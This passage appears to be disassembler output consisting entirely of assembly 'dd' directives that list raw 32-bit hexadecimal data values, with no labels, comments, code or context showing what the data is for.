		dd 0B46FAEB5h, 7E158080h, 0FECB6AABh, 50C3477Ch, 0CB689530h
		dd 0D060E0E3h, 946B0027h, 4E071F78h, 0DEE4F04h,	5062C000h
		dd 0F043FC4Bh, 148B72C3h, 0BE92686Ah, 0CD1D530Eh, 0FAF5A1C3h
		dd 0E25772C0h, 0F70EACEEh, 2F7888BFh, 79C2E6BAh, 65421B30h
		dd 4000084Ch, 6E3825ACh, 18E66DF8h, 5950BF84h, 9809856Bh
		dd 1ECAC4h, 0AC47D672h,	0A939C0AEh, 0F1ACD2Ah, 0D2002B77h
		dd 1262A1DCh, 3B55D43Bh, 808786DAh, 0F0400828h,	20D89A9Ch
		dd 0E4B21C0Eh, 185281DDh, 77D9BC41h, 7814F5E4h,	5D3A0E3Eh
		dd 0A8401F20h, 0A5F457BFh, 0DFF938h, 0CD3840D6h, 77C066F5h
		dd 0AA68013Dh, 41FAB15Ch, 0DDA6F8EBh, 3701D0E6h, 1680335Bh
		dd 698F23F6h, 0E820D19Ah, 0DFAE25F0h, 865CC33Bh, 3FE63A42h
		dd 99150079h, 0B5088466h, 0E500277Ch, 890B6D67h, 2A90A58Fh
		dd 3A1CC47Ah, 250C0751h, 0E3412EA1h, 711DD337h,	171A89C3h
		dd 1AA1319h, 435B3FBFh,	20BE22h, 0FD5751C9h, 2E2790Bh
		dd 0F119729Eh, 7362B458h, 614060D7h, 52A6038Ch,	15DC2569h
		dd 0D50A5101h, 2C72BF35h, 66181080h, 0B0675C3h,	4CF46300h
		dd 0B971E3FCh, 0E277A5h, 67A6762Fh, 0E89CD460h,	1C27FE00h
		dd 40111837h, 4391C021h, 8591174Bh, 0CBB90300h,	0C05868D0h
		dd 0CB717408h, 88804669h, 48DE523Bh, 88C6412Bh,	1A14F11Dh
		dd 9E500C80h, 60E6595Eh, 3E5D20E3h, 4A0095CCh, 0A3AE6B46h
		dd 0B86F92EFh, 0AA8607F6h, 41B01C93h, 0E03788E2h, 0D003DF64h
		dd 2C53B798h, 0B01800A8h, 0F81B0B5Fh, 9A1D938Fh, 1E20B390h
		dd 0C0F0A4AAh, 0CF5CAC03h, 97000C5Fh, 5949CDCEh, 7836138Eh
		dd 2551CE93h, 9506ED88h, 31799D30h, 0D881ABE1h,	25D740AEh
		dd 4A1B2BE5h, 0A8318D06h, 65C8CFAh, 0B3624051h,	0A10C189Ah
		dd 4889E70Eh, 0F2E359h,	4C9599BCh, 4EF5C500h, 36C4B71Eh
		dd 335C7B2Ah, 0AB302B0Eh, 0DF7822h, 0BEF77AB3h,	0C0729061h
		dd 7C0F7538h, 0A49ABD00h, 3914C705h, 9034568Ah,	0C27B500h
		dd 8CDEAD12h, 7C1CE91Eh, 85AFF209h, 9040B9EDh, 0C3A68344h
		dd 0CC020122h, 39231805h, 0A1A4408Ch, 59889913h, 4588A89Bh
		dd 0B5251267h, 6A1806BCh, 583060BDh, 253219Eh, 6D411DE9h
		dd 136DE52h, 5880E7AEh,	0D8A2CE2Ah, 8CA0E5B3h, 87F6392Eh
		dd 686F3400h, 4825EE69h, 0ABDF00CDh, 389F311Bh,	23E69806h
		dd 98C6D974h, 0F449BF07h, 351C00FDh, 0D5C890C9h, 6D1CA845h
		dd 0D0838310h, 0E882051Ah, 0AB195C79h, 182CC86Ch, 0A277CE8h
		dd 8F050A03h, 0E71381E4h, 0BAAB76A5h, 1CB80161h, 7BD0C0A7h
		dd 0F6AAA8C7h, 0CCCA8A5h, 2D260046h, 0CE679F0Eh, 0D50253D9h
		dd 9A29912Eh, 0FB004089h, 2FCA047h, 0D8EA0618h,	41AED29Ch
		dd 25CB971Fh, 74280A42h, 9A0A786h, 0D00489Ah, 1394A52Fh
		dd 0A1A412B7h, 2E282C14h, 0B45F7200h, 4E6CA4F1h, 529600D6h
		dd 225CBF9Bh, 100C02D2h, 6185A228h, 8F08011Fh, 0C6CC9E0Ah
		dd 0B3088A0Bh, 6A83F492h, 0F09A8609h, 3BCD92Eh,	51BBF3C9h
		dd 0C29CD1C6h, 0A0A0B100h, 81118BE9h, 0FB8E7E03h, 77A9F6ADh
		dd 0E64D00D9h, 0ABB89EC0h, 916E0614h, 85DEA7D1h, 152932D0h
		dd 0AC4789Fh, 0E33C2C02h, 2ACA078Bh, 0A21F900Ah, 8C602058h
		dd 0D63A6039h, 0EBEE5090h, 27FF0076h, 5D13FE8Fh, 4D002E67h
		dd 0C50B11DFh, 56DC63h,	813296D9h, 6018A92Ch, 89DC90Ch
		dd 9107A1A1h, 7AC000DCh, 9050CC98h, 0DA8E6900h,	12FEE55Bh
		dd 0EAA200D1h, 0CD34B1C3h, 0DC0C308Ah, 8C359E0Eh, 0F77E282Dh
		dd 34B33828h, 78BCCB80h, 762703A3h, 721A490Fh, 8E2C00D2h
		dd 1C8911h, 0C726C81Bh,	32B03135h, 43493003h, 0B0F5CB72h
		dd 9D5FED8h, 692FB784h,	220F7900h, 13FEC062h, 0C8D39F00h
		dd 6C800E5Ah, 86CD0BEDh, 803336h, 31A9FE37h, 0E08991CFh
		dd 0D518C016h, 0C63018EEh, 0B290A9ADh, 41F48B54h, 0ED237B00h
		dd 10A19DC1h, 319C3E3h,	3100A7E1h, 5981D56Eh, 1406399Ah
		dd 0D048310Ah, 0D8D00E01h, 70DB8E67h, 0E03E61DFh, 83507021h
		dd 2B03BF9Ah, 72D7A9B2h, 0E108E0FCh, 0B1DB00B4h, 0AC675CABh
		dd 0A80397DEh, 6342B52Fh, 0CC58BB8Ah, 73445090h, 950C0F93h
		dd 0AEA050BEh, 0B62BDA9Dh, 0EA14AC00h, 0FF433810h, 86A000FAh
		dd 0CC68A6F1h, 0C37A89DAh, 0B355F002h, 0DE127013h, 944D092Eh
		dd 0DB837018h, 8AC639h,	0CB983732h, 1ED4D0Eh, 105A4F1Dh
		dd 64DF9AAEh, 30B13908h, 334A309h, 0A7F90FE8h, 8FB10788h
		dd 906824B2h, 0F497BF0h, 78597301h, 0FFE2035Ah,	35A16024h
		dd 819D17h, 7685EFF7h, 9518C15Bh, 69F98A0Bh, 0D06D718Bh
		dd 0A400F810h, 0C425C234h, 0D700EF43h, 9726C7AFh, 72C09184h
		dd 70CA063h, 689290h, 6EC882DCh, 3C25647Ah, 24383D3Fh
		dd 0F101ACADh, 81AB15F5h, 0D18F71BCh, 44A1596Eh, 6064DD28h
		dd 4F206688h, 0A3E124ADh, 4AE58004h, 0C2CD6DB3h, 1159CE00h
		dd 120B0908h, 586E239h,	58E33338h, 0CED892B3h, 0B4C48429h
		dd 68056340h, 0F658BD44h, 61CB806Ch, 5C4D7F42h,	71A220h
		dd 7650A3A4h, 87268575h, 1903C01Dh, 84B74B46h, 981F79B9h
		dd 56864460h, 2695CF3Ch, 0E18C8854h, 0EA561A8h,	0EB8B6C38h
		dd 762C7B80h, 681FE331h, 0B6812B8Dh, 9C0B9A77h,	8E09599Fh
		dd 8182F5DAh, 998DEDCBh, 943830C4h, 56FEB0A8h, 0DFD4D100h
		dd 1EB242C2h, 0F9C60169h, 0C1B3897h, 299C649Eh,	0D3E08B45h
		dd 288A4AFh, 0DD1820CBh, 0CC4136EEh, 0CF75F0A2h, 1131C333h
		dd 7F93BB59h, 0D5D388C9h, 8A486900h, 0A1C85531h, 0AD2202F8h
		dd 0E2DEDBC4h, 0ED7550E4h, 5E1BB300h, 0B023BB0h, 2C755828h
		dd 4031F85h, 1DCF769Ch,	51302120h, 3600DF11h, 0C82C1D34h
		dd 3E002348h, 73B51BB2h, 3B916A8Dh, 9C16FDD5h, 0A184201Ah
		dd 78A9B50Ch, 0CB4313B1h, 0E41900E7h, 2DE1D686h, 0B9079334h
		dd 0F4A8541Fh, 50F35571h, 1FC7A930h, 1CCA2Ah, 8C6F648Fh
		dd 4400B033h, 0D6FCEECFh, 42BC861h, 35D0309Bh, 40E4CC97h
		dd 0C0A36713h, 0F360AC03h, 12184CF9h, 9B6B9100h, 0A0059DC5h
		dd 981358A0h, 225989h, 0E5691800h, 32D83C41h, 8C7CAF28h
		dd 303948h, 1E16E913h, 0C0AEABC1h, 0B8D3E531h, 2100BD76h
		dd 0BAAFE1C5h, 0E7F36Ch, 1D9F04E3h, 1E821260h, 83E8F058h
		dd 9885AA29h, 26C9197h,	5394E726h, 34688725h, 0AC653495h
		dd 5800E161h, 4B1C59CDh, 3A1100A9h, 3B6FDBEEh, 2300E110h
		dd 0FA83E971h, 0EB2258ADh, 50382440h, 10A489B3h, 79D03DEBh
		dd 14C70097h, 0BB8C1821h, 7500E49Eh, 11908306h,	0C1DDF6A5h
		dd 0D00AD731h, 8E4AD8BDh, 0F96AB405h, 0C0AAC85Bh, 0E6B28A9Bh
		dd 242E13Fh, 0A2C219CAh, 0E250E40Ch, 0F2328853h, 2CD21D00h
		dd 3F97926Fh, 13EB7D7Fh, 14CA299Ch, 0CF807494h,	1261388Ah
		dd 2BE74F00h, 0CB3B693Fh, 1CD013Dh, 0DDEEFD1Dh,	0B18CD802h
		dd 84B5E0A8h, 4AD1B88h,	255409EEh, 63E4A493h, 688044h
		dd 0F7742B8Eh, 0AF35EA9h
		dd 9E53EA07h, 0D47AF5D8h, 0C080214h, 29F6BC2Bh,	3C88A4E2h
		dd 0A72E9423h, 0F90E008Dh, 709A7214h, 5E447500h, 0EBFA9BF7h
		dd 25867F3Eh, 282389D1h, 7BC2333Bh, 0CF4E2848h,	329DC038h
		dd 5A0759DBh, 0B7F0073Ch, 403A2A4Eh, 0F7C23156h, 0EC282202h
		dd 603C4F77h, 4CACC339h, 371F3496h, 1885260h, 0B6BD1B8h
		dd 4D49809Bh, 6D1F4858h, 18F045h, 71FEC638h, 7BB21ADAh
		dd 0E128C017h, 817CD820h, 480D0706h, 646B2C77h,	4BBF4097h
		dd 3E2A7F0h, 36DE45D1h,	0C2D8A28Fh, 0F3007A03h,	0F216265Ch
		dd 0F6CEF1h, 1F575B92h,	77DAFF3Ch, 0B910F003h, 0D8B8AE62h
		dd 4C959680h, 53853812h, 6C7C1E21h, 41764090h, 0F81EAF12h
		dd 0B8C0BC74h, 0F378A454h, 11A218C1h, 5A5929E6h, 77FA49C0h
		dd 44F39Bh, 5E20F6D7h, 99822B88h, 6E132401h, 0B0CE1D62h
		dd 9F0830h, 0EEAC8391h,	0EA0690Fh, 93007CB9h, 0EDC8E0CBh
		dd 287175h, 36FDA5C7h, 0D89B6106h, 0F480A900h, 2E57DF7Ch
		dd 92D8F549h, 0E03105BCh, 0C022DA9Fh, 66DE51DCh, 623D4378h
		dd 6FA384F8h, 0B20AC0E2h, 58B860F4h, 8C00BBF5h,	0A90F1E87h
		dd 22F8E6Eh, 0BEF29F73h, 4040A20Eh, 0A1C990B3h,	0ACFF0063h
		dd 0EB8EAB2h, 5C6EF5CEh, 59390860h, 0F7527161h,	5AE11EE8h
		dd 74D17B80h, 0BFE15BAh, 33589A6Bh, 0DFA26890h,	812A5414h
		dd 0CBB10380h, 0A1696CD0h, 5862049Dh, 2367900h,	5C13986Bh
		dd 0CAB31700h, 0A392BA0Bh, 0DC8C0B21h, 0C4021EEEh, 34C4772Bh
		dd 41A6E130h, 0A8D1E6h,	496668FEh, 3F69B2F0h, 45246A02h
		dd 0E040FC63h, 398F9B32h, 9618C5A5h, 9A3B4829h,	289E3628h
		dd 9DC910E7h, 0BBF34C7Ch, 98623C02h, 0F464B0FCh, 0EEC50900h
		dd 0BC3E5D20h, 2F800C13h, 591121A9h, 86519861h,	0BAD482FBh
		dd 0BD383EA8h, 20CB6DBCh, 163E8990h, 2F2E0090h,	9343604Fh
		dd 90217817h, 82073EE8h, 5F801058h, 0AB5C1AEDh,	0F8B018B8h
		dd 1C89FB28h, 2463DF45h, 4DBEF700h, 1446BBC7h, 7084CA1Eh
		dd 1FC6981Eh, 72495D2Bh, 0C31C307h, 0D5A0F403h,	5400102Dh
		dd 0D2FE13D6h, 99BA08h,	59B63FF8h, 4928CD1h, 6000504Eh
		dd 99622C90h, 6D7475h, 0E9BF1CFFh, 1EA28E69h, 0ADBB8C7h
		dd 0B76830C1h, 0DF37E980h, 0A49F0DADh, 2ACA9403h, 9A2D1118h
		dd 10C2ECh, 56139B8Ch, 6C63F31Fh, 0D086761Ch, 17A009F7h
		dd 5054C9E4h, 0F013B610h, 0B94EC00h, 7D23A319h,	27DC1D1Dh
		dd 82B00C2h, 865ADBB4h,	30988h,	303BE7B5h, 0EB1F5CA8h
		dd 0D0C008A0h, 26F4187Eh, 0C4276A4Fh, 0F4C8D2A0h, 0F6B20438h
		dd 0AE2A1B7h, 21E482Bh,	7CA750h, 8B3DC7E8h, 0BB5D93FBh
		dd 9C37D009h, 94EC6A1Bh, 0A428F84Ch, 555930ECh,	0FCE31ED9h
		dd 1C1633Ch, 470ECABCh,	0A06073C7h, 0B22D045Fh,	84D04A11h
		dd 4040877Ch, 0DC60AD26h, 2D82CC96h, 0C01BB44Dh, 31690970h
		dd 9DD19306h, 0ACC07068h, 50CDC400h, 90925A9Ah,	8B300FCAh
		dd 54A22CA7h, 0A4C1C87Ch, 0BA9110AAh, 3E0C0F9Bh, 0FC00A018h
		dd 0ED0A28EEh, 909ED8A4h, 18B5A060h, 92E700F0h,	8574C2E2h
		dd 5631C19Fh, 2C10B0B0h, 30538420h, 0CA41EC2Fh,	80A852ABh
		dd 0C813830Eh, 400953Eh, 39CEBC4h, 8D72C0Bh, 8C1B4024h
		dd 3300F6A0h, 4AEF78A7h, 98FAB940h, 0F01A003Ch,	0C2A6A2BFh
		dd 0D49158C5h, 346C800h, 391FE5A3h, 0C6AE8CF4h,	8E630018h
		dd 0C05B374Dh, 935C9848h, 0C57CF00Fh, 0E0361F9Ch, 0A7CB2328h
		dd 9440AC2Eh, 0F46A419Bh, 0D69A1C78h, 0F49DBBh,	4B235B6h
		dd 69483074h, 0E1E45117h, 143710DAh, 5F2D004Eh,	0B1B0B483h
		dd 97BD07Eh, 0C518C3B7h, 87C81405h, 0C61C4781h,	4860AB31h
		dd 2D988B9Fh, 4B484664h, 541A72DCh, 0A4A9A521h,	0C8C1E2BCh
		dd 1472A108h, 6F3DD80h,	0DE02440Ch, 25486C1Ah, 0BDDCC07Dh
		dd 908DFCA2h, 0CE82838h, 80B05430h, 44309085h, 79484290h
		dd 46A3002Ah, 1F4A3381h, 0EAE91F1Bh, 2B9000E8h,	0EDC30253h
		dd 767AB800h, 0B07EBF55h, 0AB4B5Bh, 4374E2F8h, 757FD9B1h
		dd 120E800h, 2D12F540h,	8C5D503Bh, 44A600EEh, 46178E56h
		dd 9CA2B447h, 651D70E4h, 899E4D48h, 0F67007Ch, 0B1C3EB77h
		dd 0F83C0011h, 4604B7A4h, 1E0020BDh, 47343EFCh,	766AA627h
		dd 0AE8F2h, 689B7948h, 6B83CFA2h, 226C901Ch, 0D117A940h
		dd 0DA8FDh, 2CDE882Fh, 0C65365CFh, 31DD6E14h, 44B3008Fh
		dd 55B611B9h, 0EF3B1C0Ah, 0C433471Eh, 2CC8311Ch, 8F877138h
		dd 0F8112768h, 3CCCA608h, 0D180AF51h, 85153DD8h, 11004AC1h
		dd 0ED8AF440h, 6033A042h, 3AA73961h, 0B1C508B5h, 240637FCh
		dd 0F8083913h, 20B085h,	0D0536825h, 71728A19h, 0EC7ACF07h
		dd 180ECAE8h, 0B84C41h,	0EE06DC42h, 15596064h, 79B0C9F2h
		dd 0E1D9ED01h, 25F07B87h, 29263187h, 0B3B840B1h, 69059C4Eh
		dd 0BC735BBh, 233C4804h, 42274C22h, 7B408089h, 77095040h
		dd 61F055h, 47A1224Eh, 35BC5262h, 492D9C30h, 60B7B6C7h
		dd 0D67B4149h, 4F3310FDh, 3C8F1026h, 7E5AAEh, 5BEF98C6h
		dd 1FE167AAh, 0F8968A00h, 0A9925CE6h, 9CB0544Eh, 49C00BFh
		dd 0A245FE61h, 0DD008446h, 6B62D3D0h, 289BCC78h, 7E42BB1h
		dd 0A4A548C7h, 7F74A329h, 26F95793h, 87030FCh, 1D409403h
		dd 1211385h, 0E7F5FA1h,	0E0F09E80h, 0B20AA03Fh,	909A4EBBh
		dd 72028030h, 0AD6500C8h, 0D96F6387h, 820F499Eh, 20A37E01h
		dd 0A051275h, 9C7897h, 1FFD1D4Ah, 0B6920183h, 245A7400h
		dd 16080F09h, 9CAD4C29h, 62CBD800h, 304D43E5h, 50CE4BF6h
		dd 0C294E392h, 0F85FB9Fh, 81734910h, 20FD7118h,	1C1259C7h
		dd 3AA91B90h, 38FE9899h, 4E297E72h, 611F8A14h, 2C9D00DEh
		dd 50C8B08Ah, 5091FE30h, 5A07Ah, 576209CBh, 241F1D89h
		dd 0E874777Dh, 0CBE941C1h, 8180A8DAh, 4C3F0476h, 0BD7C587Dh
		dd 0F919A561h, 0DE450D4h, 7EAC00EBh, 0F774FD27h, 530A5A2h
		dd 3169C803h, 591C6329h, 0E1005A40h, 610B45C6h,	780FA8E9h
		dd 0C0C42CF1h, 2B8A016Ch, 40C9DE69h, 0E251CB08h, 31233015h
		dd 0CE1E0D98h, 0DAE1482Bh, 0B6CC48h, 0E0270441h, 52A376D9h
		dd 4AF19500h, 7E71899Fh, 0D429D0BFh, 84FAFEC3h,	75DAF5C0h
		dd 74AA580Eh, 1A568133h, 28FF4F78h, 801CA4D0h, 9CB464h
		dd 0B2F80E06h, 7213F60Ch, 0DBC85A00h, 61677A3Eh, 5C3400CFh
		dd 1AD504E4h, 56006BE8h, 75469162h, 7C4F33h, 454879B3h
		dd 6CEB0E65h, 31094CE2h, 808084D7h, 5B8761Fh, 0A6BE29D8h
		dd 26FE819Ch, 40BAEE4Fh, 5D42F1ABh, 94AE5001h, 97300982h
		dd 0F4B3C8h, 7A6A2F40h,	0EF031ADDh, 110EE9ECh, 402EC751h
		dd 59B9D608h, 280AEA9Bh, 75B0521Dh, 44D4A42Ah, 8E00E85Bh
		dd 22AC9199h, 0C06F4341h, 0AA0C9619h, 1F002509h, 0E4FF9184h
		dd 5FB9729h, 2E27B415h,	0A5D0402Dh, 5E110FB6h, 2A72FF1Eh
		dd 0D659C80h, 12F84A18h, 70A6E2EEh, 4405D050h, 41036Fh
		dd 0DAE24C12h, 90C4A8B6h, 0DF4B000Fh, 3EED151Bh, 853FB0A0h
		dd 0E45680ADh, 471116D6h, 40510E63h, 19021053h,	0E4AA77DAh
		dd 451C0BCh, 6F01F141h,	0A49FDF60h, 78A002E6h, 27202288h
		dd 0F2589101h, 0F63BBADEh, 71ECA980h, 6EB19DA9h, 92F8B600h
		dd 0EE39375h, 61EC62h, 1C15F62Ah, 8E46C4F9h, 9374B50Ah
		dd 5580A084h, 0CC4BA50Bh, 0C00E0C69h, 0CD183CF1h, 90C5F60Ah
		dd 0EF051458h, 8004079h
		dd 0EAB0F7A3h, 577A00DEh, 0A82B8D83h, 0CA303C4Dh, 0FD0998BBh
		dd 93B8CA76h, 0D0F660D8h, 0C00EACBh, 503D7021h,	6A273ABh
		dd 64251DA0h, 0ECB02959h, 0F9190A30h, 0D6A438h,	0ACE72C56h
		dd 95C0BDFCh, 0E80AE370h, 68A09FE0h, 0D762023Dh, 434D3FA4h
		dd 0A361C000h, 0B4A0296h, 2C3BD885h, 62C7E8A2h,	9CBD7440h
		dd 0DCCFE00h, 0CBDB8C5Ch, 6C701C8Dh, 0B5E8C25Bh, 0C660D330h
		dd 280035BFh, 25EAC2B6h, 92B27C74h, 0A1A31804h,	2E2D818Ch
		dd 0D57E61C0h, 0B4E6DDh, 0C5AE1BC0h, 8E526FB5h,	7B849200h
		dd 0CB655407h, 0F33700BFh, 39A54429h, 0E2001AE3h, 56640BFFh
		dd 70AB613h, 816E9288h,	33445073h, 4200C772h, 3C85DB5h
		dd 104B4E9h, 50EA52B6h,	344E9FDCh, 0A0A4FC18h, 0E2253E00h
		dd 7B40769Eh, 0FFF8001Fh, 4AC52457h, 0B0D4CDB4h, 0D81E0938h
		dd 0AA2C2AD5h, 0C6400E01h, 5C308D4Bh, 0B207EBF2h, 8C443EDAh
		dd 1803E6F2h, 4896E47Bh, 82FEAA54h, 0A0576608h,	0A363828Ch
		dd 0E91D2A6h, 24087BC8h, 1D70A082h, 4808814Dh, 0E8806430h
		dd 0D85ABD03h, 710DB4EDh, 0A1F3F41Eh, 548EEC00h, 124F7858h
		dd 301D6288h, 0A9D37FFCh, 6F0180h, 50CE8B3Ch, 0F9B002DDh
		dd 41F9D00h, 0A591BA9h,	0F0152493h, 18C80678h, 301861FFh
		dd 40911B24h, 3B9C071h,	3220F813h, 18A4B400h, 67D37625h
		dd 0C0BB9072h, 0DCF10E71h, 520A29B9h, 2CC646EEh, 41720540h
		dd 0AF51C087h, 0FC9968CBh, 0E2A10600h, 86B855C7h, 29D30085h
		dd 4BDB3603h, 28097135h, 103CF089h, 51FB30h, 49A3AEEh
		dd 0EC9C292Dh, 0F2ED1300h, 38A8BE95h, 809D4861h, 0C7DA1A05h
		dd 0F826C0C6h, 0BD0BC380h, 0D570FD78h, 0AAEFF98Eh, 0C19DD4A6h
		dd 0C6315700h, 69BC814Ch, 1B89007Ah, 2C3D9FBh, 0A0507FDAh
		dd 1D58309Ch, 0DB1E8244h, 0E39C93F8h, 8800A448h, 9FA2FC64h
		dd 5D2EFCA4h, 2C4028D3h, 3D6FAD93h, 0BC008621h,	6D6C914Eh
		dd 0F4043C04h, 774B28FDh, 0F11E2CC0h, 0DAF9C627h, 0CA0041A2h
		dd 742199E5h, 0B74D2Ah,	0D34E0BDh, 9F58CB5Eh, 0EEF77302h
		dd 80CAC5FEh, 10506FC0h, 11CB9D4h, 0A604A85Ch, 20D8FB09h
		dd 593C4854h, 0DD778762h, 0B5C0E9FBh, 0BD0F7FDh, 7BB28B57h
		dd 261206F7h, 0CEE95CD1h, 0E453180Fh, 0F9351C86h, 2FDA1E14h
		dd 0AA2258h, 6D19FE5h, 141B8B9Ch, 79E41D05h, 2800FD25h
		dd 84CAB732h, 62B10AD2h, 409CA0A3h, 64FD0A7Eh, 3615762h
		dd 10B4112Ah, 4B925h, 0AE6C3415h, 0DD56713Ch, 5DD81B1Eh
		dd 63D52280h, 24097ACAh, 4D4819CBh, 0A6BC483Ah,	6E1DC012h
		dd 0E819C840h, 0EA16D9D5h, 31F760DCh, 0FF422557h, 0C1856105h
		dd 1890733Ch, 4440C62Eh, 0D6008672h, 6B77F109h,	77AB7D1h
		dd 0EFF691D8h, 0DF8A284h, 0CD46C498h, 178CEB01h, 0D3D8079Dh
		dd 22613020h, 6F0B210Ah, 1BB53B3h, 0ED1A138Ch, 0EBF074D9h
		dd 0B7AF3772h, 60856949h, 0A78C2202h, 68A36B20h, 0D2AC00B7h
		dd 4BCF5C19h, 342A7D73h, 0FE501C48h, 1316D370h,	180A05C5h
		dd 241942Bh, 8C429DDCh,	554C027h, 0D0925277h, 6BEA550Bh
		dd 8F519018h, 0CD04997Dh, 86272145h, 0BF3E0C14h, 0AD844CC1h
		dd 0FBDEB400h, 85A97865h, 45BD27C2h, 38016EFCh,	0A60BD168h
		dd 918CDCh, 0D24F52C3h,	5AB8F18Fh, 0A1A9400h, 0F7293327h
		dd 90E148FBh, 30C0FFCEh, 9C31CB50h, 0F5D6AF01h,	0FE1D540Ch
		dd 1D72B2E8h, 6319A3h, 855B5DE8h, 5718EF9Ch, 93E01C62h
		dd 681026Bh, 3079F1Dh, 7C62AC62h, 0A9E87446h, 0B0926CFEh
		dd 94417126h, 3F40B40h,	9EBC0012h, 4C76CFBBh, 0D7F41887h
		dd 0DCF2F628h, 25A944h,	4DB23E43h, 0A074E3D9h, 7AB50502h
		dd 9016CB06h, 24E67CC0h, 1634DC24h, 1FCC04EDh, 0DAB8904Ah
		dd 8A7C62DEh, 9287C59h,	0B10D1DA8h, 3842DAF4h, 0D4F9E066h
		dd 74860BA0h, 68304EAAh, 0A7E8EC02h, 572D8EAh, 0E7AE1D0Fh
		dd 0A503A0CCh, 3A682575h, 278A6CF4h, 1EC84B7h, 0F0D73EE9h
		dd 1051E2F7h, 0F97C1503h, 5408C0D0h, 74C724Bh, 6A6DEA0Eh
		dd 0C0F7009Ch, 7100B8D9h, 88633558h, 2CF965C8h,	4010400Ch
		dd 0DA512275h, 0B1C95A00h, 0F3EBBF57h, 0E7BA027Fh, 16045B18h
		dd 7E5654E0h, 2FC8F59h,	3168FB19h, 1560C412h, 0A4F92DE9h
		dd 8F195800h, 0F3FDB352h, 5FEED502h, 0C07CC5E9h, 2C4ECEC8h
		dd 1CF1C6h, 69785125h, 0B51C4B45h, 449F4157h, 0BBE9A445h
		dd 0A912FC80h, 24A77962h, 0E101C83h, 3C64726Ah,	5F98159h
		dd 0E807ACBh, 9D6CE6Bh,	1C3210E8h, 0CA0038C4h, 81DBBC0h
		dd 151BD5Dh, 27EA02E2h,	0D636F590h, 2C1E78C6h, 0D380BE77h
		dd 0A7E4B6AAh, 816F0BB3h, 0EB03B055h, 0C1ED4B01h, 249BA54h
		dd 0F8090FDh, 9CD3386Ch, 0B8068E80h, 1DB3ADA4h,	7DC8C203h
		dd 2EE50DDh, 0D8DCF7F8h, 44526611h, 0A6B8D71Ch,	6E022864h
		dd 447D7250h, 0A50D0480h, 81BCAC3Fh, 0E1A30230h, 7324242Ah
		dd 19147850h, 23F10D08h, 263002C0h, 0CCA08485h,	0F70C2043h
		dd 0CF625502h, 4A2C5B9Ch, 90504CB4h, 2FDF260h, 4376BEEBh
		dd 70707504h, 33730244h, 0A371A07Ah, 0F2D4B5ECh, 21F8385Ah
		dd 0E36DAF07h, 0DA3427B9h, 0ED40C8h, 8874CAF0h,	1EA2F81Ch
		dd 73010EF0h, 626DDD46h, 207593h, 3C3A251Fh, 0E0BB3CA7h
		dd 0A0EA19A9h, 0E9676300h, 71E4F3B3h, 0ED8F0A78h, 19AD223h
		dd 0E125C88Dh, 0EE61CC60h, 736B19C1h, 40CEE727h, 0CE8640A0h
		dd 1BE3E2B1h, 9B0FAA1h,	0B000551h, 50397A34h, 73131132h
		dd 3C4C0C81h, 988AFC2h,	2E306CA4h, 4544A1F4h, 0AA65036Bh
		dd 0C4CD2E0h, 0E200C97Dh, 8549AE04h, 4FBFD6E8h,	91180021h
		dd 0A3A4D71Eh, 5B6140C7h, 0F96281E9h, 7860CB3Bh, 0BCEE06E9h
		dd 0B173C99Fh, 1883A52h, 58CCFCDh, 0A3605102h, 8444147Fh
		dd 0A404ECDDh, 44B3F3E3h, 0FD0B496Fh, 9D4A1890h, 0D859B200h
		dd 0A80F3A16h, 8A2B0027h, 0F248BDDBh, 3E0C5613h, 79894172h
		dd 9BCE0079h, 60B5D80Ch, 3BE86A1Dh, 87F8E700h, 172F11C6h
		dd 28240338h, 5C407A5Ah, 5FBA3901h, 796EAA58h, 61DC1FFCh
		dd 30CBA05Bh, 0BB7E01B4h, 22C8A311h, 0FC732684h, 4B431961h
		dd 0B51003F3h, 776A3EC4h, 0D9128590h, 74B3FF24h, 47C82988h
		dd 6A1120EEh, 0BB01E444h, 4F7CE3BEh, 21A243h, 617D6084h
		dd 99720B4Ah, 0ECD80724h, 269500E3h, 68C9F361h,	130AD00Bh
		dd 88433541h, 83002945h, 0BBFEBAB2h, 1C380084h,	0B7A7997Ch
		dd 2E060151h, 0B52FD4F6h, 8691E278h, 1E44C89Ch,	44CE9A40h
		dd 0B5005970h, 0CA2B78FAh, 2D78BA7h, 9526B00Fh,	0FC602A99h
		dd 6C0409B4h, 90703CE8h, 6C90D30Bh, 251C4133h, 8C6B0D3Ah
		dd 2112608h, 0F52DE893h, 0CD752049h, 0E030DD5Eh, 1412C91Ah
		dd 34214322h, 14303EE0h, 8B060088h, 0E37D0578h,	32002AD7h
		dd 5B607B70h, 3AAF8F27h, 56A8BB83h, 55F320C0h, 0A03C4D27h
		dd 0FC9E7A84h, 0EC8CB019h, 32CB1DD6h, 0D06C805Dh, 5BE33E1Ah
		dd 7BD91303h, 1058308Eh, 12831748h, 7827D61Eh, 852621E2h
		dd 0BCC8DC0Ch, 44270C76h, 0D7186A6Eh, 61870C96h, 9CE5EE74h
		dd 123CF00Eh, 9EBF2040h, 1803DBAh, 95969A4Dh, 0C294E8DAh
		dd 0C558B068h, 0A0010181h, 456A0031h, 0FEBF1729h, 34AC4D23h
		dd 22B00281h, 0C000D051h, 0ED03C6E4h, 0B52B0463h, 94FF2774h
		dd 68F200h, 0FCE868EBh,	7D6EC017h, 780249F4h, 0EF031302h
		dd 8C448172h, 4034FD3Eh
		dd 75F44Bh, 0A65070ABh,	0B5B3AC86h, 0D268C00h, 0F5839C0Fh
		dd 0C48E9h, 94A88729h, 0EE81CCE3h, 384AFB77h, 11822D8h
		dd 6FC01146h, 0E8DED244h, 160B30D9h, 0AD5208h, 4F3EDB5Bh
		dd 4C3A5C53h, 0DF000638h, 36C8877Eh, 0D930CAD5h, 0ED131878h
		dd 56A6031Ah, 4A04BC47h, 6E8DD4F8h, 76BDC0C0h, 0B12430DFh
		dd 7EBE81C8h, 608BD383h, 0AB7CA430h, 0A8322D80h, 0F25FB0h
		dd 3CEC3446h, 0AB8DFBB0h, 1AC75700h, 77EDD766h,	0D0FF621Fh
		dd 3C64A1A2h, 0FE82E202h, 60C4F825h, 0CAB4BCh, 8AACFBADh
		dd 4BA14313h, 83D0CC01h, 5D5079F0h, 19D3F042h, 1F051066h
		dd 24CF27A7h, 0FD67F081h, 0E09C5723h, 1DAAE22Fh, 16D2710Eh
		dd 0A362E2CDh, 734481CBh, 182DA675h, 0C3C7E800h, 66372AE5h
		dd 0A100D690h, 69D4E420h, 606AD1ECh, 7849B84Dh,	4B71F0BBh
		dd 0C7726502h, 0DA0AB8EDh, 0C4E91FE0h, 2B9DC0FCh, 620F8685h
		dd 53BAC900h, 0E917C872h, 294415E4h, 182268CFh,	404F0940h
